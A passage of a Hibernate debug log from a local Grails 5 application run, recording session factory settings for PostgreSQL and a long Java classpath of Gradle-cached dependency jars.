[role=org.hibernate.cache.spi.CacheImplementor] 2024-04-16 15:26:44.519 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Session factory constructed with filter configurations : {} 2024-04-16 15:26:44.519 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Instantiating session factory with properties: {hibernate.format_sql=false, run.active=true, java.specification.version=17, hibernate.connection.handling_mode=DELAYED_ACQUISITION_AND_HOLD, sun.jnu.encoding=UTF-8, hibernate.dialect=org.hibernate.dialect.PostgreSQL10Dialect, java.class.path=/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/src/main/resources:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/grails-app/views:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/grails-app/i18n:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/grails-app/conf:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/build/classes/java/main:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/build/classes/groovy/main:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/gsp-classes:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-logging/5.3.6/7b2811bd000aba08ad259455fafa7167f0b4baf8/grails-logging-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-databinding/5.3.6/90c4e117367c04a9f424c2a30b35155ccce070da/grails-plugin-databinding-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-services/5.3.6/98a96f8bc7cde7724603140b45fa7a55e5980d57/grails-plugin-services-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/async/4.0.0/41a4a5a76032ae71d77ce7a9722986ae5a42af04/async-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/events/4.0.0/6e906b9ec9dfd168a82aaf2858da65c2eb451b37/events-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-boot/5.3.6/de2e1e739c166685f6122932d050f5edc2978bd1/grails-web-boot-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-rest/5.3.6/da45072ad1295e93abc4357c708fc45d6a93fbd8/grails-plugin-rest-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-interceptors/5.3.6/982d8be14c71acce49a3ead6e2b766d0b72ceca2/grails-plugin-interceptors-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-url-mappings/5.3.6/31896ab23cccf618eac20a1ae365a4ff0652accf/grails-plugin-url-mappings-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-controllers/5.3.6/1f9742eef39213daca372dc8924abc5d5177b90e/grails-plugin-controllers-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-i18n/5.3.6/54228922d624f8ef9cdbb76fd8c1d58f3e918e21/grails-plugin-i18n-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/gsp/5.2.2/f3a03d466051f103cc6a3ee2b61e4aa672504ef0/gsp-5.2.2-plain.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-codecs/5.3.6/2a9f537188697d30dbe8b19a159b78c7f7aea39d/grails-plugin-codecs-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-mimetypes/5.3.6/f8c0506ef5069585567597b05c192218c6a0f0d3/grails-plugin-mimetypes-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-domain-class/5.3.6/b997c30ad962452424659ebee436c0cf4f4f4b9d/grails-plugin-domain-class-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-validation/5.3.6/1f5116731db72853f5db50cd52bbdc9d30f090c7/grails-plugin-validation-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web/5.3.6/86c9875997f1f8a9cab9c826e9f3db80d8d5cc42/grails-web-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-gsp-taglib/5.2.2/457d03412110f2037608028c78299f2eff165433/grails-web-gsp-taglib-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-jsp/5.2.2/eb543a492e30ee04ff50fc649a115c8d87301469/grails-web-jsp-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-databinding/5.3.6/87f00d19c1cec77c2353dfc36ee5ae309b44c201/grails-web-databinding-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-fileupload/5.3.6/6bd26d2b14ea66eebe0a8745b710e4429ac8e15d/grails-web-fileupload-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-mvc/5.3.6/e77cb39751870111d427e574577cb000401ad74c/grails-web-mvc-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-url-mappings/5.3.6/ba2e10d77efbf515d250f62b5ef0cab6b1efaf2/grails-web-url-mappings-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-gsp/5.2.2/a01ea1674279ef30cb432f927aefb980d8c1d040/grails-web-gsp-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-taglib/5.2.2/b99a039f50c6a3ed9959bf68f608941fe13967f0/grails-web-taglib-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-common/5.3.6/2589301a54e3437edfd4b49af822008144d06aac/grails-web-common-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-datasource/5.3.6/c85a4fe057975dee4e597075b9ff12bf9ec2274c/grails-plugin-datasource-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/hibernate5/7.3.1/f32ffbc5774ad1f52bf67e238831bf289b3c0c6a/hibernate5-7.3.1-plain.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm-support/7.3.4/d7590ece66fa685de90aa77a82023640970c8c40/grails-datastore-gorm-support-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-gsp/5.2.2/936c963fa4171bb0c404434ab5a045d279ea72f3/grails-gsp-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-taglib/5.2.2/3455aa3168a71753a25f78c89b7ad4d076f9316b/grails-taglib-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-encoder/5.3.6/dc92e63e0bbfa6c5dafc6fc4e1c202b826d3e554/grails-encoder-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-core/5.3.6/26dfe8bf2e2abec7620163ffe1311e79229f59b6/grails-core-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut.spring/micronaut-spring-context/4.5.0/4c19a52d78f6845e1557100a7fd7ce445860fc64/micronaut-spring-context-4.5.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut.cache/micronaut-cache-core/3.5.0/7495794ce7142740612cefb331f2c4eddcb00e95/micronaut-cache-core-3.5.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut.spring/micronaut-spring/4.5.0/c10a0047682032b3057513f4644975496d845f63/micronaut-spring-4.5.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-inject-groovy/3.8.8/81324760a4d11bf9d0f808eb71140aff24494e90/micronaut-inject-groovy-3.8.8.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-devtools/2.7.10/5fb400244cc006b920f3e0adc333498c8175b892/spring-boot-devtools-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-actuator-autoconfigure/2.7.10/34c6b707e929954fecada408bb8a1f1b8eb4fee8/spring-boot-actuator-autoconfigure-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-autoconfigure/2.7.10/514bec7b4e424199325b4f3c8949b9e2b5f6f16c/spring-boot-autoconfigure-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/cache/5.0.1/9a0756ba143f44fcb48a2eb741002ef6538e0979/cache-5.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/scaffolding/4.1.0/aea42ebbdf2c765ac674b02fdf8a588437a36e6f/scaffolding-4.1.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm-hibernate5/7.2.2/f6e1ee92da3d4326744891fdeaf0e9fcb7b06861/grails-datastore-gorm-hibernate5-7.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hibernate/hibernate-core/5.6.11.Final/bc2aa514b13cfeee4ce8ed1f770c321ab63c2b82/hibernate-core-5.6.11.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.postgresql/postgresql/42.6.0/7614cfce466145b84972781ab0079b8dea49e363/postgresql-42.6.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish.web/el-impl/2.2.1-b05/e7257f648b1ec91b87db8893f7740e116b05d777/el-impl-2.2.1-b05.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat/tomcat-jdbc/9.0.73/a470d3f132dbb5e571683836b516eb6229e31607/tomcat-jdbc-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.xml.bind/jaxb-api/2.3.1/8531ad5ac454cc2deb9d4d32c40c4d7451939b5d/jaxb-api-2.3.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.bertramlabs.plugins/asset-pipeline-grails/3.4.7/3be07b8a0f04bf2b5f1d8c9fc9b07b207c4f2d16/asset-pipeline-grails-3.4.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-runtime/3.8.5/a14cb3b344a11363c0755e6271891b62fe1fd54b/micronaut-runtime-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-jackson-databind/3.8.5/2945b33f4fa0141885e57ae3ad45d0cc64b5588a/micronaut-jackson-databind-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-jackson-core/3.8.5/e4a3c4147494ecfb8b15e5024f5f34f513123b45/micronaut-jackson-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-json-core/3.8.5/240c1976ac96ddfd2b7e684cba53f6b9ac2e8635/micronaut-json-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-context/3.8.5/76bede59f662573762c6619f9fbcac846addc441/micronaut-context-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-aop/3.8.5/db5d13dbe4b81cf0b17144920db492a4b45807a4/micronaut-aop-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-spring/5.3.6/fdda26ffcb5bf2dab372fa401b32e20be6d34b44/grails-spring-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-bootstrap/5.3.6/90eeea5f0e82ad58bd0f124ce1454679b0496002/grails-bootstrap-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-http/3.8.5/7030153705914697ee0c4300698500f033c76a84/micronaut-http-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-inject/3.8.5/2e0312aabc8594a6363f59057e6de992b932eb02/micronaut-inject-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/ch.qos.logback/logback-classic/1.2.11/4741689214e9d1e8408b206506cbe76d1c6a7d60/logback-classic-1.2.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.logging.log4j/log4j-to-slf4j/2.17.2/17dd0fae2747d9a28c67bc9534108823d2376b46/log4j-to-slf4j-2.17.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/jul-to-slf4j/1.7.36/ed46d81cef9c412a88caef405b58f93a678ff2ca/jul-to-slf4j-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-web/7.3.4/90f40109617b99d4cf0c396d103eea292b0f1196/grails-datastore-web-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-events-compat/4.0.0/9cbbec92673660d774daa8186ce4da55e53f30e5/grails-events-compat-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-events-transform/4.0.0/bfc855d46d81c761190293f964156a609d96ff30/grails-events-transform-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm/7.3.4/222e2a577506c56ab77afcb1ac0291138613d919/grails-datastore-gorm-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm-validation/7.3.4/d966cee7a1f54f1864789bc80522d8f175e3c8d9/grails-datastore-gorm-validation-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-core/7.3.4/f9e7abdf3686b7794207034e0919e5f7a55436fb/grails-datastore-core-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-databinding/5.3.6/5e340973faa1b457e5dd3c5da16de7ea29ba756a/grails-databinding-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-codecs/5.3.6/b2d937968fd68f70d6f6039d11f03a571ba53a85/grails-codecs-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/jcl-over-slf4j/1.7.36/d877e195a05aca4a2f1ad2ff14bfec1393af4b5e/jcl-over-slf4j-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-async/4.0.0/5819970310471abecaf5fa1186939e54b0a60111/grails-async-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-events/4.0.0/1cc715abe0dfc0acb31c11fd826f5e3196ecdca7/grails-events-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.bertramlabs.plugins/asset-pipeline-core/3.4.7/8f466bb3580074113614bc8cb475d79b7dd479c4/asset-pipeline-core-3.4.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-core-reactive/3.8.5/f155bf12b76b868073f5f08e0f827842105b82dd/micronaut-core-reactive-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-core/3.8.5/77936e19b984225689e4e231e73abf329ad4648/micronaut-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-sitemesh/5.2.2/85c8dea5bd35cb867f83e998a2d12ee17bb8afe5/grails-web-sitemesh-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/slf4j-api/1.7.36/6c62681a2f655b49963a5983b8b0950a6120ae14/slf4j-api-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-ant/3.0.11/72e9781d96b81ba699e264c88f60a232c5c800e1/groovy-ant-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-templates/3.0.11/c130de7a9cac4d0788e320acd2b99d084e78e003/groovy-templates-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-xml/3.0.11/65a18a9c3c88d90616139754c1aac054df6329c2/groovy-xml-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-sql/3.0.11/e88a984e8839b8b59c64db06fc1f157f014af34b/groovy-sql-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-json/3.0.11/4ebecf885428c95ab3a649c8226ece553fc6f264/groovy-json-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy/3.0.11/b1759d82dcf4f57299c8555a76330532d2d77b47/groovy-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-actuator/2.7.10/b6b4925825deabc7581f31f535e0485550cac7b0/spring-boot-actuator-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot/2.7.10/538847f69a830791fac87bd3c232a001bd2c6806/spring-boot-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat.embed/tomcat-embed-el/9.0.73/bccf17a0a9e3dc239915114e6d6b74c6cc339c39/tomcat-embed-el-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hibernate.validator/hibernate-validator/6.2.5.Final/a68959c06e5f8ff45faff469aa16f232c04af620/hibernate-validator-6.2.5.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.github.ben-manes.caffeine/caffeine/2.9.3/b162491f768824d21487551873f9b3b374a7fe19/caffeine-2.9.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.persistence/javax.persistence-api/2.2/25665ac8c0b62f50e6488173233239120fc52c96/javax.persistence-api-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/fields/3.0.0.RC1/2db607ead45eda4c732f2a342d2446beeb27d5b6/fields-3.0.0.RC1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/scaffolding-core/2.1.0/869f1b62da7ebb1b3ebec308562fc290b0a874b4/scaffolding-core-2.1.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.3.2/934c04d3cfef185a8008e7bf34331b79730a9d43/javax.annotation-api-1.3.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-orm/5.3.25/b0fb2911a5d528037149240c8b4f2c820d90405b/spring-orm-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-jdbc/5.3.25/809f5841b13d42e5d4d14eb13346958cc9e9e187/spring-jdbc-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-tx/5.3.25/b459d0b755c9614a55ebd39ce353748c4b210be2/spring-tx-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-webmvc/5.3.25/62a8258bcc4f7a58dd69af5140481b64653c90/spring-webmvc-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-context-support/5.3.25/c441d8288dd0f53e28880e865b7864f23717af97/spring-context-support-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-context/5.3.25/268a70ce4f44333ce0f13304c5f8c53b3df5f5f4/spring-context-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-aop/5.3.25/722e30759b29331726f9deed76f80b22345ee627/spring-aop-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-web/5.3.25/c69815e7931cd3ce7f19cc8028fd1c36626120d6/spring-web-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-beans/5.3.25/b3aeae036b4ea1abfa1f9604d452e19664efe5f6/spring-beans-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-test/5.3.25/42a55c25a4da3bc330d8ab3ea7648cd76d0830d4/spring-test-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-expression/5.3.25/d681cdb86611f03d8ef29654edde219fe5afef1d/spring-expression-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-core/5.3.25/85382e86321227506bf7f97ed80e2ab88bce25f0/spring-core-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-junit/1.10.12/81bde3486c2ed79cb6f699c2a5a77b0340d1f2e8/ant-junit-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant/1.10.13/85fd5990a27ddafe8af3f7a6d7132d2c29a22a7c/ant-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jline/jline/2.14.6/c3aeac59c022bdc497c8c48ed86fa50450e4896a/jline-2.14.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.fusesource.jansi/jansi/1.18/d9205bbcd4b5f9cd1effe752d18f73bd942d783f/jansi-1.18.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micrometer/micrometer-core/1.9.9/71ca38f65a24b2fda26ff5c0cce78699c9d31d49/micrometer-core-1.9.9.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.annotation/jakarta.annotation-api/2.0.0/f3cd84cc45f583a0fdc42a8156d6c5b98d625c1a/jakarta.annotation-api-2.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat.embed/tomcat-embed-websocket/9.0.73/bd1f33e9103ef8435f34574c2046f5db0e35090b/tomcat-embed-websocket-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat.embed/tomcat-embed-core/9.0.73/16f0a7f04e4f1ab18fe40510a3a13f974b6c1d70/tomcat-embed-core-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.servlet/javax.servlet-api/4.0.1/a27082684a2ff0bf397666c3943496c44541d1ca/javax.servlet-api-4.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/converters/4.0.0/e364097f5e6f78fd102519c162442f4eeb0a5f42/converters-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/junit/junit/4.13.2/8ac9e16d933b6fb43bc7f576336b8f4d7eb5ba12/junit-4.13.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/gradle.plugin.com.github.erdi.webdriver-binaries/webdriver-binaries-gradle-plugin/2.4/f460e121d3dfdf40fdc6a3cf2eb8d0a77d05a157/webdriver-binaries-gradle-plugin-2.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.gpars/gpars/1.2.1/c3ea0fbcd67a163bd5e3a3efdaa3428262d0d437/gpars-1.2.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.googlecode.concurrentlinkedhashmap/concurrentlinkedhashmap-lru/1.4.2/2eaf3d3c9746d526ff7e5b93931d482c3887e6ac/concurrentlinkedhashmap-lru-1.4.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.javassist/javassist/3.29.2-GA/6c32028609e5dd4a1b78e10fbcd122b09b3928b1/javassist-3.29.2-GA.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hibernate.common/hibernate-commons-annotations/5.1.2.Final/e59ffdbc6ad09eeb33507b39ffcf287679a498c8/hibernate-commons-annotations-5.1.2.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.jboss.logging/jboss-logging/3.4.3.Final/c4bd7e12a745c0e7f6cf98c45cdcdf482fd827ea/jboss-logging-3.4.3.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/net.bytebuddy/byte-buddy/1.12.23/d470526e8c4566c04e9ae5d3ccb62d1a7aa58986/byte-buddy-1.12.23.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/antlr/antlr/2.7.7/83cd2cd674a217ade95a4bb83a8a14f351f48bd0/antlr-2.7.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.jboss.spec.javax.transaction/jboss-transaction-api_1.2_spec/1.1.1.Final/a8485cab9484dda36e9a8c319e76b5cc18797b58/jboss-transaction-api_1.2_spec-1.1.1.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.jboss/jandex/2.4.2.Final/1e1c385990b258ff1a24c801e84aebbacf70eb39/jandex-2.4.2.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml/classmate/1.5.1/3fe0bed568c62df5e89f4f174c101eab25345b6c/classmate-1.5.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.activation/javax.activation-api/1.2.0/85262acf3ca9816f9537ca47d5adeabaead7cb16/javax.activation-api-1.2.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish.jaxb/jaxb-runtime/2.3.8/c90a335a07c60db986f29d35b0f8ac0a18f0f989/jaxb-runtime-2.3.8.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-lang/commons-lang/2.6/ce1edb914c94ebc388f086c6827e8bdeec71ac2/commons-lang-2.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.checkerframework/checker-qual/3.31.0/eeefd4af42e2f4221d145c1791582f91868f99ab/checker-qual-3.31.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.el/el-api/2.2.1-b04/907e6b1a1c2c18661eea4aa5c11db175455d36e9/el-api-2.2.1-b04.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat/tomcat-juli/9.0.73/8fff35cac4a53eb9cdf2366e59de1751ab16ee17/tomcat-juli-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.inject/jakarta.inject-api/2.0.1/4c28afe1991a941d7702fe1362c365f0a8641d1e/jakarta.inject-api-2.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.yaml/snakeyaml/1.30/8fde7fe2586328ac3c68db92045e1c8759125000/snakeyaml-1.30.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/ch.qos.logback/logback-core/1.2.11/a01230df5ca5c34540cdaa3ad5efb012f1f1f792/logback-core-1.2.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.logging.log4j/log4j-api/2.17.2/f42d6afa111b4dec5d2aea0fe2197240749a4ea6/log4j-api-2.17.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.validation/jakarta.validation-api/2.0.2/5eacc6522521f7eacb081f95cee1e231648461e7/jakarta.validation-api-2.0.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.google.errorprone/error_prone_annotations/2.10.0/9bc20b94d3ac42489cf6ce1e42509c86f6f861a1/error_prone_annotations-2.10.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.projectreactor/reactor-core/3.4.28/2bd0552a66befbf46add163d36a8b7acc3295d27/reactor-core-3.4.28.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.validation/validation-api/2.0.1.Final/cb855558e6271b1b32e716d24cb85c7f583ce09e/validation-api-2.0.1.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-jcl/5.3.26/2005accc2cf5212c614df3760b3a434e7dce807c/spring-jcl-5.3.26.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.transaction/jta/1.1/2ca09f0b36ca7d71b762e14ea2ff09d5eac57558/jta-1.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-launcher/1.10.13/331234763210702757a5780437844c6aef5d2bdf/ant-launcher-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.datatype/jackson-datatype-jsr310/2.13.5/8ba3b868e81d7fc6ead686bd2353859b111d9eaf/jackson-datatype-jsr310-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.core/jackson-annotations/2.13.5/136f77ab424f302c9e27230b4482e8000e142edf/jackson-annotations-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.core/jackson-core/2.13.5/d07c97d3de9ea658caf1ff1809fd9de930a286a/jackson-core-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.datatype/jackson-datatype-jdk8/2.13.5/1278f38160812811c56eb77f67213662ed1c7a2e/jackson-datatype-jdk8-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml.jackson.core/jackson-databind/2.13.5/aa95e46dbc32454f3983221d420e78ef19ddf844/jackson-databind-2.13.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hdrhistogram/HdrHistogram/2.1.12/6eb7552156e0d517ae80cc2247be1427c8d90452/HdrHistogram-2.1.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.latencyutils/LatencyUtils/2.0.3/769c0b82cb2421c8256300e907298a9410a2a3d3/LatencyUtils-2.0.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.maven/maven-artifact/3.6.3/f8ff8032903882376e8d000c51e3e16d20fc7df7/maven-artifact-3.6.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.commons/commons-lang3/3.12.0/c6842c86792ff03b9f1d1fe2aab8dc23aa6c6f0e/commons-lang3-3.12.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-antlr/1.10.12/74b17ef7229f3d7c0d55d42486889cc553ab04d6/a